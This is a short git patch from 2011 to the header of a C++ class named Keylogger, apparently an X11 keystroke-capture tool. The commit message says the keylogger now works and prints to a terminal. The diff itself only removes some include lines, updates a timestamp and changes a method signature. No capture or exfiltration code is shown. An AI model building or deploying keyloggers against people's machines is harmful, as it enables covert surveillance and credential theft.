From 3fd99fe07f663d4b3c7aff72a81b9c7bce32e1b3 Mon Sep 17 00:00:00 2001 From: Vianney Bouchaud Date: Wed, 26 Oct 2011 15:05:27 +0200 Subject: Editing class Keylogger to provide a display on terminal, adding a main for test and a Makefile. Keylogger now works. new file: Makefile modified: includes/Keylogger.hpp modified: srcs/Keylogger.cpp new file: srcs/main.cpp --- includes/Keylogger.hpp | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) (limited to 'includes') diff --git a/includes/Keylogger.hpp b/includes/Keylogger.hpp index cfdc88e..a1644c5 100644 --- a/includes/Keylogger.hpp +++ b/includes/Keylogger.hpp @@ -5,7 +5,7 @@ // Login // // Started on Wed Oct 5 13:59:20 2011 Vianney Bouchaud -// Last update Thu Oct 6 19:04:04 2011 Vianney Bouchaud +// Last update Wed Oct 26 15:01:44 2011 Vianney Bouchaud // #ifndef __KEYLOGGER_HH__ @@ -24,11 +24,6 @@ #include #include #include -#include -#include -#include -#include -#include struct CallbackClosure { Display *ctrlDisplay; @@ -54,7 +49,7 @@ public: void start(); void stop(); void processData(); - bool xConnect(std::string displayName); + bool xConnect(const std::string &displayName); private: std::string m_displayName; -- cgit v1.2.3-24-g4f1b